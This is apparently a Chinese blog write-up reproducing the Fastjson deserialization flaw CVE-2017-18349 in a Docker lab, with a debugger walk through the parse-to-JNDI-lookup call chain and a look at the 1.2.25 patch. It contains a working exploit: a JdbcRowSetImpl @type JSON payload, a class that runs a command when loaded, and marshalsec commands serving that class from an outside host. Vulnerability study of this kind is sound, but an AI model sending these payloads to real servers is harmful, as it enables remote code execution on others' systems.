Java反序列化(十) | Fastjson - CVE-2017-18349
作者:互联网
Java反序列化(十) | Fastjson - CVE-2017-18349
Fastjson和Jackson这两个版块的都是由于反序列化json数据导致漏洞形成, 而且Fastjson有很多版本的绕过,在这里就先开始学习Fastjson的两个CEV, 后续对不同版本的绕过再总结一下, 网上已经有很好的文章了,所以复现这两个CVE了解原理之后就直接参考大佬的文章学习。
到NVD搜了一下fastjson的CVE漏洞发现只有两个,所以我们就了解一下漏洞的详细原理以便后续Fastjson其它版本漏洞的学习。
What is Fastjson?
Fastjson的使用
Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址:https://github.com/alibaba/fastjson
。那我们看下如何使用?首先定义一个User.java,代码如下:
public class User {
private Long id;
private String name;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
序列化的代码如下:
import com.alibaba.fastjson.JSON;
User guestUser = new User();
guestUser.setId(2L);
guestUser.setName("guest");
String jsonString = JSON.toJSONString(guestUser);
System.out.println(jsonString);
反序列化的代码示例:
String jsonString = "{\"name\":\"guest\",\"id\":12}";
User user = JSON.parseObject(jsonString, User.class);
//parseObject也可以直接用parse接口。
更多用法参考菜鸟教程
Fastjson安全特性
反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类,调用其set,get,is方法。
上图则是Fastjson反序列框架图。JSON门面类,提供一些静态方法,如parse,parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig,主要保存一些相关配置信息。也引用了JSONLexerBase,这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关,将一些类加到黑名单中。
JNDI
JNDI即Java Naming and Directory Interface,翻译成中文就Java命令和目录接口,2016年的blackhat大会上web议题重点讲到,但是对于json这一块没有涉及。JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。我们可以看一下它的架构图,JNDI提供了一个统一的外部接口,底层SPI则是多样的。
在使用JNDIReferences的时候可以远程加载外部的对象,即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的,可以将其参数指向我们控制的RMI服务,切换到我们控制的RMI/LDAP服务等等。
上面介绍引自xxlegend, 关于JNDI的简单实现代码可以去看原文的示例了解一下。
关于Fastjson的POC的简单分类:
1,基于TemplateImpl
2,基于JNDI Bean Property类型
3,基于JNDI Field类型
JNDI Bean Property这个类型,这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter,getter方法触发,而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下。所以这个Poc相对于TemplateImpl却没有一点儿限制,当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}
更多关于RMI和JNDI的加载机制细节可以到这里
CVE-2017-18349
影响版本: <= 1.2.24
我们看到NVD中对CVE-2017-18349的漏洞描述如下:
1.2.25 之前的 Fastjson 中的 parseObject,如在 Pippo 1.11.0 和其他产品中的 FastjsonEngine 中使用的那样,允许远程攻击者通过精心制作的 JSON 请求执行任意代码,如 HTTP 的 dataSourceName 字段中精心制作的 rmi:// URI 所示POST 数据到 Pippo /json URI,它在 AjaxApplication.java 中被错误处理。
docker环境搭建
Docker环境搭建:
cd vulhub/fastjson/1.2.24-rce/
docker-compose up -d
建立docker之后查看docker的ip
TouchFile.java文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/flag_test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
之后使用javac编译为class文件,最好是用低版本的java编译,高版本可能利用不了,我一开始使用服务器上默认的JDK版本为11.0.13,执行后面请求后也没执行命令,后来又到Windows下面使用了1.8.65的就成功了.
javac TouchFile.java
然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class,执行以下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999
注意: 我这里原本就有Apache服务所以我可以直接将TouchFile.class放在apache的根目录下即可,如果没有开启服务的可以使用Python2或Python3的http模块在TouchFile.class所在目录目录下开启一个Web服务
# python2, 后面的端口可以自己指定,但修改后注意同时修改RMIServer的.class文件请求端口
python -m SimpleHTTPServer 80
# python3
python -m http.server 80
之后使用burp发送特定poc数据包
POST / HTTP/1.1
Host: 47.99.70.18:8090
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
"autoCommit":true
}
}
稍等一下可以可以看到访问RMIServer的请求
进入docker查看/tmp目录可以看到命令执行成功
本地源码搭建
可以看到jar包的地址,我们在IDEA中直接把这个jar包文件拷出来
然后复制出里面的关键部分到java目录后删除fastjsondemo.jar直接运行即可,觉得麻烦的可以直接下载github项目
运行FastjsondemoApplication.java 的main函数即可 TouchFile.java文件
然后重复上面的攻击操作
全程的栈帧
在开始分析之前我们先来看一下从处理我们的POST请求到执行静态函数代码的整个栈调用过程,一遍了解下面分析内容的执行顺序。我们需要关注的是read之后的栈帧,我们分析的内容其实就是在read之后的全部过程。
断点调试
断点选择
在com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.ClassLoader)使用Tomcat加载器对从RMIServer获取的TouchFile.class文件进行了加载,而我们这里的TouchFile只有一个静态函数,在加载过程中就会执行Static函数,我们在这里打断点就行调试(第二次执行到这里才是加载TouchFile,所以到这里之后我们先回复运行一次直到再次回到这里)
read之后
Fastjson通过parseObject方法解析传入的json数据。而parseObject方法就由我们上面提到的read函数调用。
我们先进入第一个parseObject方法看一下
后面一直是调用其它的parseObject方法,直到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.lang.reflect.Type, java.lang.Object)里面调用com.alibaba.fastjson.parser.deserializer.ObjectDeserializer#deserialze
函数
一个小插曲
在进入ObjectDeserializer#deserialze之前,我们先了解一下com.alibaba.fastjson.parser.ParserConfig#getGlobalInstance
在com.alibaba.fastjson.parser.DefaultJSONParser中有两个构造方法用到ParserConfig#getGlobalInstance函数(但我们本次运行并没有执行这个函数所以不想看的话直接跳过也不影响后面的阅读)。
ParserConfig.getGlobalInstance()
方法获取ParserConfig类中的初始配置,其中黑名单(denyList)也在此类中进行配置。并在最后调用addDeny方法循环添加denyList数组中的黑名单。
好了,我们继续上文,从DefaultJSONParser#parseObject进入ObjectDeserializer#deserialze
下一步调用DefaultJSONParser缺省方法对json格式数据进行解析。
在看这个
com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
case 1:
case 5:
case 10:
case 11:
case 13:
case 15:
case 16:
case 17:
case 18:
case 19:
default:
throw new JSONException("syntax error, " + lexer.info());
case 2:
Number intValue = lexer.integerValue();
lexer.nextToken();
return intValue;
case 3:
Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
lexer.nextToken();
return value;
case 4:
String stringLiteral = lexer.stringVal();
lexer.nextToken(16);
if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
try {
if (iso8601Lexer.scanISO8601DateIfMatch()) {
Date var11 = iso8601Lexer.getCalendar().getTime();
return var11;
}
} finally {
iso8601Lexer.close();
}
}
return stringLiteral;
case 6:
lexer.nextToken();
return Boolean.TRUE;
case 7:
lexer.nextToken();
return Boolean.FALSE;
case 8:
lexer.nextToken();
return null;
case 9:
lexer.nextToken(18);
if (lexer.token() != 18) {
throw new JSONException("syntax error");
}
lexer.nextToken(10);
this.accept(10);
long time = lexer.integerValue().longValue();
this.accept(2);
this.accept(11);
return new Date(time);
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
case 14:
JSONArray array = new JSONArray();
this.parseArray((Collection)array, (Object)fieldName);
if (lexer.isEnabled(Feature.UseObjectArray)) {
return array.toArray();
}
return array;
case 20:
if (lexer.isBlankInput()) {
return null;
}
throw new JSONException("unterminated json string, " + lexer.info());
case 21:
lexer.nextToken();
HashSet<Object> set = new HashSet();
this.parseArray((Collection)set, (Object)fieldName);
return set;
case 22:
lexer.nextToken();
TreeSet<Object> treeSet = new TreeSet();
this.parseArray((Collection)treeSet, (Object)fieldName);
return treeSet;
case 23:
lexer.nextToken();
return null;
}
}
在parse方法中,通过判断lexer.token(),进入对应的代码块。在这里因为lexer.token()==12所以进入case 12,先调用JSONObject构造方法,初始化JSONObject类中的map属性。
初始化JSONObject类后调用parseObject方法,对传入的json数据进行字节读取。
在这里逐个读取json数据之后同时会在这个函数里面进行分析,一般会读取json字符串中的双引号进入scanSymbol方法中,在scanSymbol方法中计算字符串的hash。
判断key值是否为@type
。如果是,则进入if判断条件下的代码块中。调用scanSymbol方法,以双引号作为quote变量值,进行@type
json字段值的value读取。获得@type
的键值之后,调用addSymbol方法,将@type
的字段值添加到SymbolTable中。
此时我们看一下调用的栈跳转语句,先调用this.config.getDeserializer(clazz)获取反序列化器,可以看到传入到下一步执行的deserialze反序列化函数的参数已经出现了我们的键值对{"@type":"com.sun.rowset.JdbcRowSetImpl"}
,而且下面图中转到下一个栈的语句就在@type
的if判断结构体中。
然后经过几层的deserialze调用之后进入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
在末尾调用com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField,查看下一个调用栈,DefaultFieldDeserializer#parseField在末尾调用了DefaultFieldDeserializer#setValue
getDeserializer做了什么
这部分我没调出来,其实这里的内容也可以不看,不想看的话建议直接拉到下文的parseField->setValue部分,但是就是感觉如果以后想要详细了解Fastjson的执行流程的话这一段应该还是有不小的帮助的,所以直接贴一下其他师傅的文章吧.
进入获取反序列化器的getDeserializer方法中,首先现有的IdentityHashMap中进行hash匹配,如果无法匹配,则进入第二个if判断条件中重载getDeserializer方法,继续获取反序列化器。
在getDeserializer(Class<?> clazz, Type type)方法中,首先依然会与现有的IdentityHashMap中进行hash匹配。如果无法匹配,会事先进行黑名单匹配,在调用ServiceLoader.load判断META-INF/services/下是否存在传入的classname类。
如果没有寻找到对应的类,则判断传入的classname是否是继承java.lang.Enum、是否是array类型选择对应的反序列化器生成方法。如果上述条件不满足,则继续判断传入的classname是否为Set、HashSet、Collection、List、ArrayList,如果不是则继续判断classname是否继承Collection,Map,Throwable接口。如果上述条件都不满足,则调用createJavaBeanDeserializer方法生成JavaBean反序列化器。
进入createJavaBeanDeserializer方法,判断asmEnable是否为true,调用JavaBeanInfo.build方法建立JavaBean。
建立JavaBean过程中,通过反射机制获取传入的class中所有的属性,方法,并保存在数组中。选择一个无参构造函数作为默认的构造函数。
循环遍历method数组中的方法,并从中选取符合条件的方法。(条件:同时满足方法名长度大于4;非静态方法;方法类型为Void。或者方法类型与方法所在类相同)
再从筛选的规则中继续筛选出形参数量为1的方法。
再从筛选出的方法中获取以set方法开头的方法,并检测JavaBean的方法命名规范,筛选出符合规范的方法。调用TypeUtils.getField方法获取与set方法对应的属性值。
进入getField方法中,遍历@type传入的class以及其父类的所有属性值,返回寻找到属性。
最终调用add方法,将获取的Field属性保存到fieldList列表中。
再以相同的流程筛选出存在get方法的属性值,如果筛选出的filed属性值不在fieldList,则添加到fieldList列表中。
调用JavaBeanInfo方法对JavaBeanInfo中的属性进行初始化,并返回实例化对象。
回到ParserConfig#createJavaBeanDeserializer方法中,获取到beanInfo对象,并从beaninfo中取出defaultConstructor默认构造器、field属性。
通过检测fieldClass属性值,为asmEnable标志位赋值
由于@type传入的class中的javabean方法,存在只读属性,因此asmEnable标志位变成false。
根据asmEnable标志位,进行if条件判断,调用JavaBeanDeserializer构造方法,并返回实例化对象。
在实例化过程中,会将beaninfo中的属性赋值给JavaBeanDeserializer类中的filed反序列化器。
回到ParserConfig#getDeserializer方法,调用putDeserializer方法,将生成的反序列化器与@type传入的class类进行关联,最后返回反序列化器
回到DefaultJSONParser#parseObject方法,调用deserializer.deserialze方法进行反序列化。
进入deserialze方法中,首先根据token值进入到对应的条件代码块。调用scanSymbol方法。
进入scanSymbol方法,对传入的json字符串进行解析,和解析@type的流程相同,解析传入的其他属性字段。
回到JavaBeanDeserializer#deserialze方法中,解析的属性值返回并赋值到key属性中。
调用parseField方法解析属性。
进入parseField方法,调用smartMatch方法,获取field反序列化器。
进入smartMatch方法,首先会从建立的javabean中寻找是否存在对应key中属性值的操作方法。
如果没有匹配到javabean中的方法,则先消除掉属性值中的_和-符号,再与javabean中的方法进行匹配,如果匹配成功,则返回反序列化器。如果匹配失败,则返回null。
回到parseField方法中,设置Feature.SupportNonPublicField状态,并根据状态值进入if条件判断的代码块中,生成extraFieldDeserializers扩展的反序列化器。再从反序列化器中取出从fastjson获取的json数据中指定的属性。
parseField->setValue
进入setValue可以看到此时逻辑已经很简单了,就是传入一个JdbcRowSetImpl对象和一个value为true
method为JdbcRowSetImpl全部的方法,检测到方法不为空进入if判断,因为有一个setAutoCommit函数所以this.fieldInfo.getOnly为false,进入else执行java.lang.reflect.Method#invoke
java.lang.reflect.Method#invoke调用了了sun.reflect.DelegatingMethodAccessorImpl#invoke
DelegatingMethodAccessorImpl#invoke调用
之后中间还有一步DelegatingMethodAccessorImpl#invoke的调用但是调用栈进不去,之后就调用了JdbcRowSetImpl#setAutoCommit
JdbcRowSetImpl#connetct
进入JdbcRowSetImpl#setAutoCommit看到调用了JdbcRowSetImpl#connetct
进入JdbcRowSetImpl#connetct先判断当前是否有Connection连接,无连接进入if判断,检测到getDataSourceName()不为空,进入if结构中,调用javax.naming.InitialContext#lookup(java.lang.String)
实际上到这里分析就可以结束了,因为javax.naming.InitialContext。.lookup("rmi://host:port/evil")就是通过rmi服务远程加载evil.class文件。但是毕竟第一次分析fastjson所以就继续下去看看吧。
进入InitialContext#lookup(java.lang.String),调用了InitialContext#getURLOrDefaultInitCtx(java.lang.String)
进入InitialContext#getURLOrDefaultInitCtx(java.lang.String),先从rmi://47.99.70.18:9999/TouchFile获取使用的协议,如果协议不为空则调用javax.naming.spi.NamingManager#getURLContext
进入NamingManager#getURLContext,直接
后面就是一些加载RMIser的TouchFile类的流程,我在加载完毕TouchFile类之后在Runtime#exec打断点,这里可以说是最终的终点了,然后再选择了TouchFile的线程查看栈帧发现与原本的调用栈相比,从上面的lookup函数之后的调用链有一些区别,所以在这里之后的内容都是TouchFile的线程查看栈帧
回到上面javax.naming.InitialContext#lookup(java.lang.String)的调用
这里的lookup与上面不同,上面调用的是InitialContext#lookup而这里是com.sun.jndi.toolkit.url.GenericURLContext#lookup,接着调用下一个lookup: com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)
进入RegistryContext#lookup,调用了com.sun.jndi.rmi.registry.RegistryContext#decodeObject
进入RegistryContext#decodeObject,调用javax.naming.spi.NamingManager#getObjectFactoryFromReference
中间进行一些不重要的处理然后调用NamingManager#getObjectFactoryFromReference
进入NamingManager#getObjectFactoryFromReference
实例化TouchFile
在这里可以看到loadclass了,factoryName为TouchFile, codebase为http://47.99.70.18/fastjson/#TouchFile
进入com.sun.naming.internal.VersionHelper12#loadClass看看发生了什么
可以看到先是通过URLClassLoader.newInstance(getUrlArray(codebase), parent)生成一个FactoryURLClassLoader加载器,实际上这个加载器就是TouchFile的加载器
继续跟进下一个调用栈看到调用了com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.ClassLoader)
forname都看到了,,,,调用java.lang.Class#forName(java.lang.String, boolean, java.lang.ClassLoader)
forname0其实就是java.lang.Class#forName0然后就是执行静态函数了
3.2.2补丁分析
可以到fastjson官方github查看1.2.24和1.2.25的区别: https://github.com/alibaba/fastjson/compare/1.2.24...1.2.25
Fastjson1.2.25版本新增了checkAutoType方法,设置了autotype开关,对@type字段进行限制。如果autotype开关关闭,则无法从@type字段传入类进行jndi攻击。
增加了黑名单中的类,对fastjson的gadget进行拦截。
参考文章:
https://www.freebuf.com/articles/web/265904.html
https://blog.csdn.net/weixin_39546092/article/details/113068230
标签:Fastjson,case,CVE,java,lexer,调用,序列化,方法 来源: https://www.cnblogs.com/SEEMi/p/16189796.html